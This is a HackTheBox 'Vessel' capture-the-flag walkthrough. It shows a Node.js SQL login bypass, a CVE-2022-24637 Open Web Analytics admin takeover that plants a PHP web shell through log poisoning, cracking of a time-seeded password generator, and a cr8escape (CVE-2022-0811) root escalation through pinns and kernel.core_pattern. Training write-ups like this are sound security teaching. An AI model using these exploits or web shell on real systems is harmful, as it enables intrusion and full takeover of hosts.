Vessel HackTheBox Writeup
Portscan
Like always, the first step is portscanning the machine IP. Looks like only port
22
and
80
are open, so the attack path will likely be through the web application.
[goon@security vessel]$ nmap -p- -sV -sC 10.129.21.243 -T5
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-15 19:27 EST
Warning: 10.129.21.243 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.21.243
Host is up (0.048s latency).
Not shown: 63916 closed tcp ports (conn-refused), 1617 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 38c297327b9ec565b44b4ea330a59aa5 (RSA)
| 256 33b355f4a17ff84e48dac5296313833d (ECDSA)
|_ 256 a1f1881c3a397274e6301f28b680254e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vessel
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 238.92 seconds
VHOST
When you visit the webserver on port
80
at the bottom of the page you can see
Vessel.htb
. Added that to my
/etc/hosts
file.
Directory Busting
One of my friends while doing this box couldn't find some of the important directories while directory busting, so let's slow down for a moment.
DO NOT TAKE A 404 STATUS CODE AS GOSPEL. Take the
/dev/
directory for example. If you visit it in the browser, it looks the same as every other
404 Not Found
page.
Instead, send the request in cURL
without the trailing slash.
[goon@security vessel]$ curl http://vessel.htb/dev
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Redirecting</title>
</head>
<body>
<pre>Redirecting to <a href="/dev/">/dev/</a></pre>
</body>
</html>
Huh? It's redirecting to
/dev/
(with the trailing slash). Compare this to a request with a folder name that
does not exist.
[goon@security vessel]$ curl http://vessel.htb/zoinks
Found. Redirecting to /404
When the browser redirects to
/dev/
, the server
correctly returns a 404, because
nothing is inside that folder. Yet, by looking at the redirect in the above cURL command, we know that folder
exists. While the webserver is telling us the resource is not found,
there is a clear difference in behavior indicating otherwise.
Fortunately,
dirsearch
does that shit for me (another reason it's the best).
dirsearch -u http://vessel.htb/
Discovered folders and endpoints:
/js/
- Probably JavaScript files, could contain useful information, I don't really care for now.
/401
- Landing page for
401
status codes
/404
- Landing page for
404
status codes
/500
- Landing page for
404
status codes
/admin
- Redirects to
/login
, might be interesting
/css/
- Probably CSS files, I don't really care
/dev/
- Development folder? Might be interesting
/img/
- Probably images, I don't really care
/login
/logout
Now that we've determined folder names, we want to
recursively directory bust. Literally just directory bust those newly discovered folders. Simple idea. The only folder that seems cool is
/dev/
.
[goon@security vessel]$ dirsearch -u http://vessel.htb/dev/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11609
Output: /home/goon/htb/vessel/reports/http_vessel.htb/_dev__23-01-17_12-24-11.txt
Target: http://vessel.htb/
[12:24:11] Starting: dev/
[12:24:17] 200 - 139B - /dev/.git/config
[12:24:17] 200 - 25B - /dev/.git/COMMIT_EDITMSG
[12:24:17] 200 - 73B - /dev/.git/description
[12:24:17] 200 - 23B - /dev/.git/HEAD
[12:24:17] 200 - 240B - /dev/.git/info/exclude
[12:24:17] 200 - 5KB - /dev/.git/logs/HEAD
[12:24:17] 301 - 203B - /dev/.git/logs/refs -> /dev/.git/logs/refs/
[12:24:17] 200 - 2KB - /dev/.git/logs/refs/heads/master
Immediately we found a
.git
directory, which is good for us. Unfortunately we can't just
git clone
the URL because the repository doesn't have a valid
.git/info/refs
file. We
can use
git-dumper
which makes a GET request to the
HEAD
file and fetches git objects that way. This tool will search for common files found in a
.git
folder and automatically decompress objects as they are found, which essentially allows us to reconstruct the contents of the repository without actually cloning it.
[goon@security vessel]$ git-dumper http://vessel.htb/dev/.git/ git
[-] Testing http://vessel.htb/dev/.git/HEAD [200]
[-] Testing http://vessel.htb/dev/.git/ [302]
[-] Fetching common files
[-] Already downloaded http://vessel.htb/dev/.git/COMMIT_EDITMSG
[-] Already downloaded http://vessel.htb/dev/.git/description
[-] Already downloaded http://vessel.htb/dev/.git/hooks/applypatch-msg.sample
[-] Already downloaded http://vessel.htb/dev/.git/hooks/commit-msg.sample
[-] Already downloaded http://vessel.htb/dev/.git/hooks/post-update.sample
[-] Already downloaded http://vessel.htb/dev/.git/hooks/pre-applypatch.sample
Exploiting SQL Injection
Inside this git repository is the
source code for the web application. What jumps out is the
/login
route:
router.post('/api/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
if (error) throw error;
if (results.length > 0) {
req.session.loggedin = true;
req.session.username = username;
req.flash('success', 'Succesfully logged in!');
res.redirect('/admin');
If you Google
nodejs sql injection
literally the first link talks about type checking, and includes an example that is
identical to our login function.
https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/
That's cool - by adding attributes in the HTTP request we can manipulate the
type of variable that is parsed by the webserver. Since the webserver is not expecting this behavior it could lead to some unintended functionality.
We can visualize this behavior easier by creating a demo NodeJS app that returns our request body as the way the server sees it. I'm returning it as JSON because it'll just return the string
[Object object]
otherwise, even though it's using a JSON parser. It's JavaScript, don't complain to me.
Example webserver code:
app.post('/', (req, res) => {
res.send(JSON.stringify(req.body) + "\n")
})
Generic POST Request & Response:
[goon@security vessel]$ curl http://localhost:3000/ -d "username=foo&password=bar"
{"username":"foo","password":"bar"}
Injected Attribute POST Request & Response:
[goon@security vessel]$ curl http://localhost:3000/ -d "username=foo&password[password]=1"
{"username":"foo","password":{"password":"1"}}
The type of the variable received by the webserver is no longer a
string
, and is now an
object
. Using a prepared statement like the code does makes the password portion of the SQL query look like this:
SELECT 'password' = 'password' = 1;
Breaking it down,
password
does equal
password
, so that is a boolean true, or
1
. Simplifying the query again, we're left with:
SELECT 1 = 1;
It's safe to assume
1
always equals
1
, so it will always return
true
.
Okay, that's simple enough. We inject an attribute in the POST parameter to force the SQL query to always evaluate true for whatever username we want, which should lead us bypass the login.
I
intercepted the login request in BurpSuite and modified the request.
Now we're in the admin panel.
Nothing cool in here aside from the reference to another VHOST in the settings tab under the
analytics
tab.
openwebanalytics.vessel.htb
- added this to my
/etc/hosts
file
Exploiting Open Web Analytics Webapp
The webapp on
openwebanalytics.vessel.htb
is something called "open web analytics", whatever that is - can be assumed it's for web analytics. Impressive feat of observation, right?
In the page response we can fingerprint the version of OWA as
1.7.3
by looking at the CSS imports, which contains a GET parameter named
version
:
<LINK REL=StyleSheet HREF="http://openwebanalytics.vessel.htb/modules/base/css/owa.css?version=1.7.3" TYPE="text/css">
Googling around, there's a CVE tracked as
CVE-2022-24637
for this version.
The crux of this vulnerability is pretty simple. When someone logs in (or attempts to log in) to the server, it has to query a SQL database. Instead of taking this loss of time to the chin, it will
cache the serialized data in a log file. The location of this log file is in a publicly accessible directory, with the name of the log file being randomly generated.
Instead of making it
actually random, they just decided to take the user ID, concatonate it to
user_id
and hash it with md5. Boom,
that's the filename.
So, we try to login as the default administrative user,
admin
.
Cool, now there should be a cache file located in the
/owa-data/caches/1/owa_user/
directory. By guessing user IDs we can easily find this cache file. Since it's the default admin user, I have a hunch what the user ID could be
(hint: it's not 2).
[goon@security vessel]$ echo -n 'user_id1' | md5sum c30da9265ba0a4704db9229f864c9eb7 -
[goon@security vessel]$ curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php
<?php\n/*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI
Apparently, the reason this cache file is visible is because the OWA developers wrapped the the PHP code in
single-quotes, which doesn't interpret
\n
(newline) characters. So instead of a PHP comment which would only appear
server-side, you get the above response. Pretty funny shit.
Regardless, it's just base64 encoded data, decode it and you get the goodies.
What we
really care about is the
temp_passkey
, which allows us to reset the
admin
password to whatever we want, since it's a secret value only a password reset link would give you.
s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"b7b750fddb654cff535e7159644b5250";
We can take this value and visit the password setup portal.
http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersPasswordEntry
There's a hidden
input
tag for the temp passkey, so you can edit the HTML using inspect element or just intercept the request.
I'll just intercept the HTTP request when I click
Save Your New Password
instead. I will add the
temp_passkey
variable as the value of the
owa_k
body parameter.
Now the admin passwors should be
zoinks
:) We can verify this by logging in as
admin
.
Exploiting Admin Access OWA for User Shell
The next step is super simple. We can change the settings by clicking the
Settings
button. Now, I don't see an option for the error log location, but the same CVE includes a proof-of-concept that changes these values.
In any case, you can update the settings to anything and intercept the request in BurpSuite. All you need to do is change one of the attribute names to
base.error_log_file
and increase the logging level to be super verbose by changing any of the other attributes to
base.error_log_level
with a value of 2. It doesn't look like I have write access to a ton of directories, but I of course can write to the directory where the caches are written to :) The request will look like this, which you will submit
twice.
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: openwebanalytics.vessel.htb
Cookie: owa_passwordSession=408a25f210eadae0c0696e221ec7c2ed1857889f286f4714c50405d9177dfae5; owa_userSession=admin
Content-Length: 215
Content-Type: application/x-www-form-urlencoded
owa_nonce=83e625b100&owa_action=base.optionsUpdate&owa_config[base.error_log_file]=/var/www/html/owa/owa-data/caches/shell.php&owa_config[base.error_log_level]=2&owa_config[foo]=<?php+system($_SERVER['HTTP_CMD']);?>
It's important to notice the last body parameter in the above request:
owa_config[foo]=<?php+system($_SERVER['HTTP_CMD']);?>
When you submit the request the first time, nothing will happen, as you're simply updating the OWA configuration to write errors to this location. When we submit the request
for the second time, we force the application to throw an error because the
foo
key does not really exist in the configuration, and it will write the request details into the file we specified before, which is now a
.php
file.
Meaning, we now have a publicly accessible
shell.php
file that includes
arbitrary content we control, so we just created a super simple PHP shell to execute commands from our request header.
GET /owa-data/caches/shell.php HTTP/1.1
Host: openwebanalytics.vessel.htb
CMD: ls -la
Connection: close
Now you can easily catch a reverse shell using python, since it's on the box :)
Privilege Escalation from www-data to Ethan
Inside the home directory of the
steven
user is a compiled binary,
passwordGenerator
. After exfilling the binary to our location machine (I prefer using NC) we can start to investigate what this binary does.
ExifTool
[goon@security vessel]$ exiftool passwordGenerator
ExifTool Version Number : 12.50
File Name : passwordGenerator
Directory : .
File Size : 35 MB
File Modification Date/Time : 2023:01:15 20:48:43-05:00
File Access Date/Time : 2023:01:15 20:46:37-05:00
File Inode Change Date/Time : 2023:01:15 20:48:57-05:00
File Permissions : -rwxr-xr-x
File Type : Win32 EXE
File Type Extension : exe
MIME Type : application/octet-stream
Machine Type : Intel 386 or later, and compatibles
Time Stamp : 2022:05:04 07:03:33-04:00
Image File Characteristics : Executable, Large address aware, 32-bit
PE Type : PE32
Linker Version : 14.29
Code Size : 151040
Initialized Data Size : 125952
Uninitialized Data Size : 0
Entry Point : 0x9830
OS Version : 5.1
Image Version : 0.0
Subsystem Version : 5.1
Subsystem : Windows command line
Immediately looking at
File Type
, this is a Windows executable, which is interesting. Why is it on a linux box? That we may never know the answer to, but this small fact
will come back to haunt me for the next 2 hours.
Ignoring that like we all foolishly did, let's try to decompile this binary. First step is figuring out what type of binary even
is this? Let's run the
strings
command on it and see what it spits out.
Strings
bshiboken2\shiboken2.pyd
bunicodedata.pyd
xPySide2\translations\qtbase_ar.qm
xPySide2\translations\qtbase_bg.qm
xPySide2\translations\qtbase_ca.qm
xPySide2\translations\qtbase_cs.qm
xPySide2\translations\qtbase_da.qm
xPySide2\translations\qtbase_de.qm
xPySide2\translations\qtbase_en.qm
xPySide2\translations\qtbase_es.qm
xPySide2\translations\qtbase_fi.qm
xPySide2\translations\qtbase_fr.qm
xPySide2\translations\qtbase_gd.qm
xPySide2\translations\qtbase_he.qm
xPySide2\translations\qtbase_hu.qm
xPySide2\translations\qtbase_it.qm
xPySide2\translations\qtbase_ja.qm
xPySide2\translations\qtbase_ko.qm
xPySide2\translations\qtbase_lv.qm
xPySide2\translations\qtbase_pl.qm
xPySide2\translations\qtbase_ru.qm
xPySide2\translations\qtbase_sk.qm
xPySide2\translations\qtbase_tr.qm
xPySide2\translations\qtbase_uk.qm
xPySide2\translations\qtbase_zh_TW.qm
xbase_library.zip
zPYZ-00.pyz
3python37.dll
Okay, that's something, references to python. It's a compiled python executable. Getting the original source code for these is pretty trivial, let's download
pyinstxtractor.py
and
uncompyle6
.
https://github.com/extremecoders-re/pyinstxtractor
https://pypi.org/project/uncompyle6/
We can decompile the executable with the following command:
python pyinstxtractor.py passwordGenerator
This creates a
passwordGenerator_extracted
directory which contains
.pyc
files, which are more readable, but still compiled. Simple fix, run
uncompyle6
on the
passwordGenerator.pyc
file.
uncompyle6 passwordGenerator_extracted/passwordGenerator.pyc > decompiled_passwordgenerator.py
We can now see the decompiled python!
Looking at the source code, it looks like a password generator. Immediately it's obvious the seed used for the random function is garbage as it using the current time. A
shared seed should be treated like a secret key since it can be used to generate the
same random sequence over and over. If we can determine the time the password generator was executed we can easily find the password it generated.
Fortunately, one of the friends I was doing this box with figured out it's only the
miliseconds of the current time, which in this case is a
3 NUMBER MAX. That means there is a maximum of 999 passwords this program could of possibly generared per character set, with 3 character sets, a total of 2997 passwords, which is still an incredibly small amount. However, we don't know the
length of these passwords. It could be anything from 1-100 (that's a theoretical max, they could make the password 1000 characters long, but fuck off), so that's actually a total of 4.663095336×10³⁴⁷ passwords (i.e. a metric shitload).
Assuming we can even make a password list, what is this password used for? SSH? Some intranet webapp? The other friend I was doing this box with (it pays to have friends) noticed a
notes.pdf
and
screenshot.png
file in the
.notes
directory (
/home/steven/.notes/
).
Exfilling these files we notice the
notes.pdf
file is password protected. I guess that solves the mystery on what this password generator is for.
The
screenshot.png
cuts us some slack.
Okay, so now we know the character set used and the length of the password, back down to
a total of only 999 passwords. We can use the following python code to generate a wordlist with all possible combinations.
from PySide2.QtCore import *
from PySide2.QtGui import *
from PySide2.QtWidgets import *
from PySide2 import QtWidgets
import pyperclip
def genPassword(currenttime):
length = 32
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
qsrand(currenttime)
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
return password
iterations = 1000
with open('wordlist.txt', 'w+') as file:
for i in range(iterations):
file.writelines(genPassword(i) + "\n")
<--- SUPER MEGA DISCLAIMER --->
Remember how we all disregarded that the executable was for Windows? Apparently, that matters...
a lot.
The
qrand()
function in this python script is derived from the
rand()
function in C, which depends greatly on a value called
RAND_MAX
. This variable represents the largest value the
rand()
function can return. In the GNU C Library, this value is
2147483647
. Depending on the library this value could be
32767
. All this means, is with the same code, with the same exact seed, you will product
different values on different operating systems.
We tried a dozens of things for 2 hours on Linux before realizing we would need to run this password generator code
on a Windows machine before it would
generate the correct password list. So, we did :)
Once we had this password list, we used
pdfcrack
to iterate through our possible passwords and try to decrypt
notes.pdf
.
[goon@security vessel]$ pdfcrack -w wordlist.txt notes.pdf
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'
Sweet. We can access the PDF, now. Opening the PDF gave us a password:
This is obviously for the
ethan
user, so let's try to SSH in.
Privilege Escalation from Ethan to root
YOU KNOW WHAT TIME IT IS. LINPEAS, THE GOAT, THE LEGEND.
https://github.com/carlospolop/PEASS-ng/
Blah blah, running the
linpeas.sh
enumeration script there's a bunch of output, but it reveals there's a
non-default binary with the suid-bit.
ethan@vessel:~$ ls -la /usr/bin/pinns
-rwsr-x--- 1 root ethan 814936 Mar 15 2022 /usr/bin/pinns
Googling for
pinns exploit
leads us to
CVE-2022-0811
, dubbed
cr8escape
.
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
CrowdStrike’s Cloud Threat Research team discovered a flaw introduced in CRI-O version [1.19] that allows an attacker to bypass these safeguards and set arbitrary kernel parameters on the host
Interesting. What version of
crio
is on this box?
ethan@vessel:~$ crio --version
crio version 1.19.6
Version: 1.19.6
GitCommit: c12bb210e9888cf6160134c7e636ee952c45c05a
GitTreeState: clean
BuildDate: 2022-03-15T18:18:24Z
GoVersion: go1.15.2
Compiler: gc
Platform: linux/amd64
Linkmode: dynamic
Oh, the vulnerable version.
In essence, the vulnerable version of
crio
allows us to set arbitrary kernel parameters. I had to Google what "kernel parameters" are, but they're tunable flags that you can change to adjust how the system responds to stuff (if you have the proper permissions).
Let's take a look at the blog post again.
Oh, so the
pinns
binary is used to set kernel parameters, which has the suid bit... dope, we can change kernel parameters just like the root user would. How do we exploit this, though?
The proof-of-concept in CrowdStrike's blog uses kubernetes which this box doesn't have, and it uses it to escape the container (hence
cr8escape
). The attacker can abuse
kubectl
and bypass the
crio
filter that prevents someone from setting malicious kernel parameters. However, if we can interact with the
pinns
utility directly, we don't really need to bypass any
crio
filters. If
kube
talks to
crio
which talks to
pinns
which talks to the kernel, and the vulnerability is in
crio
allowing us to bypass filters and set arbitrary flags with
pinns
... fuck it, why not just set the parameters with
pinns
and skip the bypass?
Their exploit is a yaml file for
kubernetes
that looks like this:
apiVersion: v1
kind: Pod
metadata:
name: sysctl-set
spec:
securityContext:
sysctls:
- name: kernel.shm_rmid_forced
value: "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/malicious.sh #"
containers:
- name: alpine
image: alpine:latest
command: ["tail", "-f", "/dev/null"]
It sets the kernel parameter
kernel.shm_rmid_forced
to
1+kernel.core_pattern=|/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/malicious.sh #
.
This essentially works like
parameter pollution. The
+
after the
1
acts as the start of a new parameter, which in this case is
kernel.core_pattern
. As explained by the blog post, when
crio
applies this setting it is expanded into this:
kernel.shm_rmid_forced=1
kernel.core_pattern=|<path to malicious script> #’
Note the
|
(pipe) character, allowing an arbitrary script, and the trailing
#
(pound sign) to prevent the single quote added to the end from breaking the script execution.
The
kernel.core_pattern
parameter is used to instruct the system on how to respond to core dumps. A core dump is essentially a snapshot of memory when shit hits the fan, like during an unhandled system exception. It's a file that contains the address space when things go
brrrr.
This kernel parameter allows us to specify commands or a script location to execute once there has been a core dump. In the case of
crio
, this process is run as
root
. As the blog shows, we can set kernel parameters using the
pinns
command line with the
-s
flag, so let's do that.
Their example looks like this:
pinns -s kernel_parameter1=value1+kernel_parameter2=value2
So thinking logically, we'll try to set the
kernel.core_pattern
parameter directly.
ethan@vessel:~$ pinns -s 'kernel.core_pattern=/tmp/exploit.sh'
[pinns:e]: Path for pinning namespaces not specified: Invalid argument
An error. Unfortunately, there is absolutely ZERO documentation for the
pinns
utility, so we're going to have to find the source code and figure out what's going on.
Fuck, fuck, fuck. It's written in C. Let's figure this out.
https://fossies.org/linux/cri-o/pinns/src/pinns.c
Searching for the error message we can see the issue (I've snipped some parts of the code to make viewing easier):
static const struct option long_options[] = {
{"help", no_argument, NULL, 'h'},
{"uts", optional_argument, NULL, 'u'},
{"ipc", optional_argument, NULL, 'i'},
{"net", optional_argument, NULL, 'n'},
{"user", optional_argument, NULL, 'U'},
{"cgroup", optional_argument, NULL, 'c'},
{"mnt", optional_argument, NULL, 'm'},
{"dir", required_argument, NULL, 'd'},
{"filename", required_argument, NULL, 'f'},
{"uid-mapping", optional_argument, NULL, UID_MAPPING},
{"gid-mapping", optional_argument, NULL, GID_MAPPING},
{"sysctl", optional_argument, NULL, 's'},
};
-- SNIP --
case 'd':
pin_path = optarg;
break;
-- SNIP --
if (!pin_path) {
nexit("Path for pinning namespaces not specified");
}
So it needs the
-d
flag, which is...
directory
. The code also makes it seem like the
filename
is a required argument. What are these arguments used for? How do I know if I gave it the right one?
343 bind_path[bind_path_len++] = '/';
344 bind_path[bind_path_len] = '\0';
345 strncat(bind_path, filename, PATH_MAX - bind_path_len - 1);
346
347 fd = open(bind_path, O_RDONLY | O_CREAT | O_EXCL, 0);
348 if (fd < 0) {
349 if (fd < 0 && errno != EEXIST) {
350 pwarn("Failed to create ns file");
351 return -1;
352 }
353 }
354 close(fd);
355
356 if (pid > 0)
357 snprintf(ns_path, PATH_MAX - 1, "/proc/%d/ns/%s", pid, ns_name);
358 else
359 snprintf(ns_path, PATH_MAX - 1, "/proc/self/ns/%s", ns_name);
360
361 if (mount(ns_path, bind_path, NULL, MS_BIND, NULL) < 0) {
362 pwarnf("Failed to bind mount ns: %s", ns_path);
363 return -1;
364 }
Looks like it creates a file for the namespace and uses it as output. I uh, personally, don't really care about the output, so I'm going to put something random. As long as the directory exists the rest of the
pinns
code runs, so uh... get bent?
ethan@vessel:~$ pinns -d /tmp/ -f doinks -s 'kernel.core_pattern=/tmp/exploit.sh'
[pinns:e] No namespace specified for pinning
NO NAMESPA- okay, it's fine, we'll repeat what we did and read the code.
77 case 'u':
78 if (!is_host_ns (optarg))
79 unshare_flags |= CLONE_NEWUTS;
80 bind_uts = true;
81 num_unshares++;
82 break;
83 case 'i':
84 if (!is_host_ns (optarg))
85 unshare_flags |= CLONE_NEWIPC;
86 bind_ipc = true;
87 num_unshares++;
88 break;
89 case 'n':
90 if (!is_host_ns (optarg)) {
91 unshare_flags |= CLONE_NEWNET;
92 }
93 bind_net = true;
94 num_unshares++;
95 break;
96 case 'U':
97 if (!is_host_ns (optarg))
98 unshare_flags |= CLONE_NEWUSER;
99 bind_user = true;
100 num_unshares++;
101 break;
-- SNIP --
153 if (num_unshares == 0) {
154 nexit("No namespace specified for pinning"); 155 }
Oh, okay, so if I specify a namespace it'll increment that variable and finally execute my command. Whatever,
-i
it is. I don't care about the output, I just want to set this kernel parameter so the vulnerable part of the code happens.
If we run our new command and check if it's been set...
ethan@vessel:~$ pinns -d /tmp/ -f stickyspot -s 'kernel.core_pattern=|/tmp/exploit.sh' -i
ethan@vessel:~$ cat /proc/sys/kernel/core_pattern
|/tmp/exploit.sh
It worked :)
Okay, now we just have to write an
exploit.sh
script and cause a core dump to happen. For my
exploit.sh
I'll just have it read the root flag and copy it to the
/tmp/
folder.
#!/bin/sh
cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt
Perfect. Now for the core dump - the CrowdStrike blog post shows a way you to can do it by using the
tail
command and then killing it with
kill -SIGSEGV
, but I figured out (completely by accident) you can cause one by using the wrong flags to the
pinns
utility :)
ethan@vessel:~$ pinns --zoinks
Segmentation fault (core dumped)
There is an annoying cronjob deleting scripts, resetting kernel parameters, among other things. We'll just do everything in one-go and reap the rewards.
ethan@vessel:/tmp$ nano exploit.sh
ethan@vessel:/tmp$ chmod +x exploit.sh
ethan@vessel:/tmp$ pinns -d /tmp/ -f doodoo -s "kernel.core_pattern=|/tmp/exploit.sh" -i
ethan@vessel:/tmp$ pinns --zoinks
Segmentation fault (core dumped)
ethan@vessel:/tmp$ cat root.txt
93fd2c42931fde80d53c005b2aaa53a5
WE'RE HOME FREE, BABY. The root flag has been secured.
Definitely a difficult box, but not impossible.